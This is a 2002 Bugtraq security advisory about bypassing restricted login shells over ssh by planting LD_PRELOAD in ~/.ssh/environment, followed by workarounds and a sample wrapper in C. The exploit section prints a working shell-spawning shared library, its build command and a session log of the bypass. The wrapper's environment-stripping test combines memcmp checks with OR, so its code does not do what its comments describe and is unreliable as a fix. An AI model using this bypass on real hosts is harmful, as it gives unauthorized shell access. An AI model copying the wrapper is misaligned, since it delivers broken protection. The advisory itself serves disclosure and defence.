ssh environment - circumvention of restricted shells

From: ari (edelkind-bugtraqat_private)
Date: Mon Jun 24 2002 - 17:08:12 PDT

  • Next message: Paul Szabo: "Acrobat reader 5.05 temp file insecurity"

    Given the similarities with certain other security issues, i'm surprised
    this hasn't been discussed earlier.  If it has, people simply haven't
    paid it enough attention.
    
    This problem is not necessarily ssh-specific, though most telnet daemons
    that support environment passing should already be configured to remove
    dangerous variables due to a similar (and more serious) issue back in
    '95 (ref: [1]).  I will give ssh-based examples here.
    
    
    *** scenario one:
    
    Let's say admin bob has a host that he wants to give people ftp access
    to.  Bob doesn't want anyone to have the ability to actually _log into_
    his system, so instead of giving users normal shells, or even no shells,
    bob gives them all (say) /usr/sbin/nologin, a program he wrote himself
    in C to essentially log the attempt to syslog and exit, effectively
    ending the user's session.  As far as most people are concerned, the
    user can't do much with this aside from, say, setting up an encrypted
    tunnel.
    
    The thing is, bob's system uses dynamic libraries (as most do), and
    /usr/sbin/nologin is dynamically linked (as most such programs are).  If
    a user can set his environment variables (e.g. by uploading a
    '.ssh/environment' file) and put some arbitrary file on the system (e.g.
    'doevilstuff.so'), he can bypass any functionality of /usr/sbin/nologin
    completely via LD_PRELOAD (or another member of the LD_* environment
    family).
    
    The user can now gain a shell on the system (with his own privileges, of
    course, barring any 'UseLogin' issues (ref: [2])), and administrator
    bob, if he were aware of what just occurred, would be extremely unhappy.
    
    Granted, there are all kinds of interesting ways to (more or less) do
    away with this problem.  Bob could just grit his teeth and give the ftp
    users a nonexistent shell, or he could statically compile nologin,
    assuming his operating system comes with static libraries.  Bob could
    also, humorously, make his nologin program setuid and let the standard C
    library take care of the situation.  Then, of course, there are also the
    ssh-specific access controls such as AllowGroup and AllowUsers.  These
    may appease the situation in this scenario, but it does not correct the
    problem.
    
    
    *** scenario <n>:
    
    Now, what happens if bob, instead of using /usr/sbin/nologin, wants to
    use (for example) some BBS-type interface that he wrote up or
    downloaded?  It can be a script written in perl or tcl or python, or it
    could be a compiled program; doesn't matter.  Additionally, bob need not
    be running an ftp server on this host; instead, perhaps bob uses nfs or
    veritas to mount user home directories from a fileserver on his network;
    this exact setup is (unfortunately) employed by many bastion hosts,
    password management hosts and mail servers---to name a few.  Perhaps bob
    runs an ISP, and replaces the user's shell when he doesn't pay.  With
    all of these possible (and common) scenarios, bob's going to have a
    somewhat more difficult time getting around the problem.
    
    Compiling the program statically may not be an option; hell, bob may not
    have the source code, or even if he does, he may not have the know-how
    to replace arbitrary system commands without breaking things.  He could
    compile a static wrapper, assuming that his operating system comes with
    static libraries, or he _could_ write a setuid wrapper that just calls
    setuid(getuid()) before executing the menu-based program, again to allow
    the C library to take care of his situation.  Still, all of this may
    entail replacing arbitrary system commands that may have been previously
    explicitly set as user shells.
    
    Ideally, bob shouldn't need to take such seemingly odd, nonstandard
    precautions.  Additionally, should his libc not properly deal with the
    LD_* family for setuid programs, suddenly bob may find himself with an
    even larger (ahem, marginally larger) problem.
    
    
    I previously reported this problem to bugsat_private so that openssh
    would have a chance to take care of the situation or discuss it further,
    and i had planned the same for ssh communications.  However,
    markusat_private decided that this was unimportant, and carbon copied
    the techat_private mailing list with his opinion.
    
    
    Exploitation of the problem is simple.  The circumvention code would be
    compiled into a dynamic library and LD_PRELOAD=/path/to/evil.so should
    be placed into ~user/.ssh/environment (a similar environment option may
    be appended to public keys in the authohrized_keys file).  If no
    dynamically loadable programs are executed, this will have no effect.
    
    --- sample session of exploitation ---
    bobuser1% ssh bobserver
    evil@bobserver's password:
    
        User evil is not allowed to log in here.  Please use one of
        the bobuser systems for shell access and account maintenance.
    
        For assistance, please call the help desk at extension 5432.
    
    Connection to bobserver closed.
    bobuser1% pwd
    /home/evil
    bobuser1% df -k |grep home
    bobfs:/home   [...]   [...]   [...]   68%   /home
    bobuser1% cat >evilso.c
    #include <unistd.h>
    
    void _init(void) {
    	execl("/bin/sh", "sh", 0);
    }
    ^D
    bobuser1% gcc -o evilso.so -shared -nostdlib evilso.c -Wall
    bobuser1% echo "LD_PRELOAD=/home/evil/evilso.so" >.ssh/environment
    bobuser1% ssh bobserver
    evil@bobserver's password:
    $ unset LD_PRELOAD
    $ uname -n
    bobserver
    $ who am i
    evil
    $
    --- end sample session ---
    
    
    
    *** potential workaround:
    
    First and foremost, allow only specific users (AllowUsers) or groups
    (AllowGroups) login access with ssh controls, if this is feasible on
    your network.  This would be the best workaround, but it is not a
    solution to the problem.
    
    ISPs and universities (along with similarly affected organizations)
    should compile their rejection (or otherwise restricted) binaries
    statically (assuming your operating system comes with static libraries).
    A sample static/setuid wrapper is appended, and an alternate static
    wrapper is given in [1].
    
    Ideally, sshd (and all remote access programs that allow user-definable
    environments) should strip any environment settings that libc ignores
    for setuid programs.
    
    ari
    
    http://www.episec.com/people/edelkind/
    http://www.episec.com/
    
    
    A sample wrapper is given below, along with compiling instructions.
    References follow.
    
    
    --- sample wrapper ---
    /* This is a shell wrapper to remove variables from the login
     * environment before executing the desired shell.
     * 
     * While this program should preferably be statically compiled, it was
     * also written to accomodate those systems that do not ship with static
     * libraries.  If your system does not have static libraries, make the
     * binary setuid-someuser (may be non-root) instead.
     */
    
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    
    /* include appended slash */
    #define PREPATH    "/realshells/"
    
    void stripenv(envp)
    	char **envp;
    {
    	/* the following entries are based on Lawrence R. Rogers'
    	 * wrapper in cert advisory CA-1995-14 */
    
    	register char **p1, **p2;
    
    	for (p1 = p2 = envp; *p1; p1++) {
    		if (memcmp(*p1, "LD_", 3) ||
    		    memcmp(*p1, "_RLD", 4) ||
    		    memcmp(*p1, "LIBPATH=", 8) ||
    		    memcmp(*p1, "ELF_LD_", 7) ||
    		    memcmp(*p1, "AOUT_LD_", 8) ||
    		    memcmp(*p1, "IFS=", 4)) continue;
    
    		*p2++ = *p1;
    	}
    	*p2 = 0;
    }
    
    
    int main(argc, argv, envp)
    	int argc;
    	char **argv;
    	char **envp;
    {
    	int fnl, ppl;
    
    	if (setuid(getuid())) {
    		perror("setuid");
    		fflush(stderr);
    		_exit(1);
    	}
    
    	if (*argv[0] != '-') {
    		/* not a login shell */
    		_exit(1);
    	}
    
    	fnl = strlen(argv[0]) - 1;  /* minus prepended dash */
    	ppl = strlen(PREPATH);
    
    	{
    		char fn[fnl + ppl + 1];
    		memcpy (fn, PREPATH, ppl);
    		memcpy (fn + ppl, (argv[0] + 1), fnl);
    		*(fn + ppl + fnl) = 0;
    
    		stripenv(envp);
    		execve (fn, argv, envp);
    		perror(fn);
    		fflush(stderr);
    		_exit(1);
    	}
    
    }
    --- end sample setuid wrapper ---
    
    
    [the following instructions are generalizations and will need to be
    adjusted for some operating systems]
    
    If your system supports static libraries:
    
      Compiling (with gcc):
    	% gcc -o swrapper swrapper.c -O -static -s -Wall
    	% ldd swrapper
    	ldd: tcsh: not a dynamic executable
    
      Example setup:
    	# mkdir /realshells
    	# ls -l /usr/sbin/nologin
    	-rwxr-x--x   1 root   root  5400 Dec 31  1999 /usr/sbin/nologin
    	# cp /usr/sbin/nologin /realshells/
    	# cp swrapper /usr/sbin/nologin
    	# ls -l /usr/bin/menulogin
    	-rwxr-x--x   1 root   root 19200 Dec 31  1999 /usr/bin/menulogin
    	# cp /usr/bin/menulogin /realshells/
    	# cp swrapper /usr/bin/menulogin
    
    
    If your system does not support static libraries:
    
      Compiling (with gcc):
    	% gcc -o swrapper swrapper.c -O -s -Wall
    
      Example setup:
    	(follow setup for statically-blessed systems, plus:)
    	# chown user:group /usr/sbin/nologin /usr/bin/menulogin
    	# chmod 4111 /usr/sbin/nologin /usr/bin/menulogin
    	# ls -l /usr/sbin/nologin /usr/bin/menulogin
    	---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/sbin/nologin
    	---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/bin/menulogin
    
     'user' and 'group' may be the user and group of your preference.
    
    
    
    References:
    	[1] CERT Advisory CA-1995-14,
    	    http://www.cert.org/advisories/CA-1995-14.html
    	[2] SecurityFocus bugtraq id 3614,
    	    http://online.securityfocus.com/bid/3614
    



    This archive was generated by hypermail 2b30 : Wed Jun 26 2002 - 14:36:04 PDT